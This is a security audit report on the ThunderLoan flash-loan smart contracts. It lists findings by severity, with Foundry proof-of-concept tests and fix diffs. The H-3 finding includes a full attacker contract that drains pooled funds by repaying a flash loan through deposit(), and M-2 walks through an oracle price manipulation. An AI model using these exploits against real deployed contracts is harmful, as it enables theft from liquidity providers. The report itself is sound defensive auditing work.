Protocol Audit Report

Version 1.0

MrSaade

October 10, 2024

Protocol Audit Report

MrSaade

Octover 10, 2024

Prepared by: [MrSaade] Lead Auditor/Auditors:

- MrSaade

Table of Contents

- MEDIUM
  * [M-1] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens
  * [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks
  * [M-3] Centralization risk for trusted owners
- Low
  * [L-1] Empty Function Body - Consider commenting why
  * [L-2] Initializers could be front-run
  * [L-3] Missing critial event emissions
- Informational
  * [I-1] Poor Test Coverage
  * [I-2] Not using `__gap[50]` for future storage collision mitigation
  * [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6
  * [I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156
- Gas
  * [GAS-1] Using bools for storage incurs overhead
  * [GAS-2] Using **`private`** rather than **`public`** for constants, saves gas
  * [GAS-3] Unnecessary SLOAD when logging new exchange rate

• NOTE:

Protocol Summary

The ThunderLoan protocol facilitates flash loans and provides liquidity providers with a way to earn interest on their capital. Liquidity providers can deposit assets into ThunderLoan and receive AssetTokens, which accrue interest based on flash loan activity. Flash loans, which must be repaid within the same transaction to avoid reversion, incur a fee calculated using the TSwap price oracle.

Disclaimer

This audit report is intended to identify potential vulnerabilities and issues in the ThunderLoan smart contracts. The analysis is based on the provided source code and aims to highlight security risks, bugs, and inefficiencies. While every effort has been made to identify all potential issues, no audit can guarantee the complete security or functionality of the protocol. The responsibility for addressing and mitigating any identified risks lies solely with the project team. The audit should not be considered a warranty of the protocol's security, and the auditor assumes no liability for any consequences arising from the use or interpretation of this report.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:

  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.
-

Executive Summary

The ThunderLoan protocol was reviewed for security, functionality, and alignment with its intended design. The audit identified several critical and low-severity issue. Correcting these vulnerabilities is crucial to maintaining the integrity of the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	3
Info	4
Gas	3
Total	16

FINDINGS

High

[H-1] Not maintaining consistent storage layout during updgades causes storage collisions in `ThunderLoan.sol` and `ThunderLoanUpgraded.sol`

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
   ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Unnecessary `updateExchangeRate` in `deposit` function incorrectly updates `exchangeRate` causing unfairly changing reward distribution

Description:

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

IMPACT: Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all.

PROOF OF CONCEPT

Code Add the following code to the `ThunderLoanTest.t.sol` file.

```
function testExchangeRateUpdatedOnDeposit() public setAllowedToken {
    tokenA.mint(liquidityProvider, AMOUNT);
    tokenA.mint(user, AMOUNT);

    // deposit some tokenA into ThunderLoan
    vm.startPrank(liquidityProvider);
    tokenA.approve(address(thunderLoan), AMOUNT);
    thunderLoan.deposit(tokenA, AMOUNT);
    vm.stopPrank();

    // another user also makes a deposit
    vm.startPrank(user);
    tokenA.approve(address(thunderLoan), AMOUNT);
    thunderLoan.deposit(tokenA, AMOUNT);
    vm.stopPrank();

    AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);

    // after a deposit, asset token's exchange rate has aleady increased
    // this is only supposed to happen when users take flash loans with underlying
    assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION());

    // now liquidityProvider withdraws and gets more back because exchange
    // rate is increased but no flash loans were taken out yet
    // repeatedly doing this could drain all underlying for any asset token
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider));
    vm.stopPrank();

    assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT);
}
```

Recommended Mitigation:

It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

DESCRIPTION An attacker can acquire a flash loan and deposit funds directly into the contract using the `deposit()`, enabling stealing all the funds. The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating endingBalance using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint `AssetToken` and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

IMPACT All the deposited funds in the AssetContract can be drained/stolen.

PROOF OF CONCEPT

Code

To execute the test successfully:

1. I placed the `attack.sol` file within the mocks folder.
2. Imported the contract in `ThunderLoanTest.t.sol`.
3. Added `testFlashLoanDepositAttack` function in `ThunderLoanTest.t.sol`.

ThunderLoanTest.t.sol

```
import { Attack } from "../mocks/attack.sol";
```

```
function testattack() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        vm.startPrank(user);
        tokenA.mint(address(attack), AMOUNT);
        thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
            "");
        attack.sendAssetToken(address(thunderLoan.getAssetFromToken(
            tokenA)));
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();

        assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken
            (tokenA))), DEPOSIT_AMOUNT);
    }
```

attack.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
    SafeERC20.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";

interface IThunderLoan {
    function repay(address token, uint256 amount) external;
    function deposit(IERC20 token, uint256 amount) external;
    function getAssetFromToken(IERC20 token) external;
}


contract Attack {
    error MockFlashLoanReceiver__onlyOwner();
    error MockFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;

    address s_owner;
    address s_thunderLoan;

    uint256 s_balanceDuringFlashLoan;
    uint256 s_balanceAfterFlashLoan;

    constructor(address thunderLoan) {
        s_owner = msg.sender;
        s_thunderLoan = thunderLoan;
        s_balanceDuringFlashLoan = 0;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata /*  params */
    )
        external
        returns (bool)
    {
        s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
            ));

        if (initiator != s_owner) {
            revert MockFlashLoanReceiver__onlyOwner();
        }

        if (msg.sender != s_thunderLoan) {
            revert MockFlashLoanReceiver__onlyThunderLoan();
        }
        IERC20(token).approve(s_thunderLoan, amount + fee);
        IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee
            );
        s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)
            );
        return true;
    }

    function getbalanceDuring() external view returns (uint256) {
        return s_balanceDuringFlashLoan;
    }

    function getBalanceAfter() external view returns (uint256) {
        return s_balanceAfterFlashLoan;
    }

    function sendAssetToken(address assetToken) public {

        IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).
            balanceOf(address(this)));
    }
}
```

Notice that the `assetLt()` checks whether the balance of the AssetToken contract is less than the `DEPOSIT_AMOUNT`, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher.

RECOMMENDED MITIGATION Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in `flashloan()` and checking it in `deposit()`.

MEDIUM

[M-1] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens

DESCRIPTION If the owner sets an allowed token to false, this deletes the mapping of the asset token to that ERC20. If this is done, and a liquidity provider has already deposited ERC20 tokens of that type, then the liquidity provider will not be able to redeem them in the `ThunderLoan::redeem` function.

```
     function setAllowedToken(IERC20 token, bool allowed) external
         onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ",
                IERC20Metadata(address(token)).name());
            string memory symbol = string.concat("tl", IERC20Metadata(
                address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token
                , name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
@>          delete s_tokenToAssetToken[token];
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        }
    }

    function redeem(
        IERC20 token,
        uint256 amountOfAssetToken
    )
        external
        revertIfZero(amountOfAssetToken)
@>      revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        if (amountOfAssetToken == type(uint256).max) {
            amountOfAssetToken = assetToken.balanceOf(msg.sender);
        }
        uint256 amountUnderlying = (amountOfAssetToken * exchangeRate)
            / assetToken.EXCHANGE_RATE_PRECISION();
        emit Redeemed(msg.sender, token, amountOfAssetToken,
            amountUnderlying);
        assetToken.burn(msg.sender, amountOfAssetToken);
        assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
    }
```

IMPACT A liquidity provider cannot redeem their deposited tokens if the setAllowedToken is set to false, Locking them out of their tokens.

PROOF OF CONCEPT

Code

```
    function testCannotRedeemNonAllowedTokenAfterDepositingToken() public {
        vm.prank(thunderLoan.owner());
        AssetToken assetToken = thunderLoan.setAllowedToken(tokenA, true);

        tokenA.mint(liquidityProvider, AMOUNT);
        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);

        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__NotAllowedToken.selector, address(tokenA)));
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, AMOUNT);
        vm.stopPrank();
    }
```

RECOMMENDED MITIGATION It would be suggested to add a check if that assetToken holds any balance of the ERC20, if so, then you cannot remove the mapping.

```
    function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ", IERC20Metadata(address(token)).name());
            string memory symbol = string.concat("tl", IERC20Metadata(address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token, name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
+           uint256 hasTokenBalance = IERC20(token).balanceOf(address(assetToken));
+           if (hasTokenBalance == 0) {
                delete s_tokenToAssetToken[token];
                emit AllowedTokenSet(token, assetToken, allowed);
+           }
            return assetToken;
        }
    }
```

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

IMPACT: Liquidity providers will gain drastically reduced fees for providing liquidity.

PROOF OF CONCEPT Added `testCanManipuleOracleToIgnoreFees` in `ThunderLoanTest.t.sol`.

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
2. User sells 1000 `tokenA` to the T-Swap pool, tanking the price.
3. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
4. Due to the fact that the `ThunderLoan` calculates price based on the `TSwapPool`, this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256
        ) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
    ();
    }
```

5. The user then repays the first flash loan, and then repays the second flash loan. Briefly, If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))
    ) / s_feePrecision;
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-3] Centralization risk for trusted owners

DESCRIPTION Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

IMPACT Contract admins can perform malicious updates on the protocol which could drain funds from the protocol/ manipulate the exchange rate or fees which could lead to unfairness for users and liquidity providers.

RECOMMENDED MITIGATION It is recommended to implement a multi-sig wallet or some sort of a fair governance protocol to manage the protocol.

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

     function _authorizeUpgrade(address newImplementation) internal
         override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

```
File: src/protocol/ThunderLoan.sol
     function initialize(address tswapAddress) external initializer {}
         __Ownable_init();
         __UUPSUpgradeable_init();

         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements
    | % Branches      | % Funcs        |
| --------------------------------- | -------------- | --------------
    | -------------- | -------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13)
    | 50.00% (1/2)   | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
    | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol      | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16) | 71.43% (10/14) |
```

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```

NOTE:

It’s best practice to make use of forked tests instead of mocks to simulate interaction with live protocols on-chain.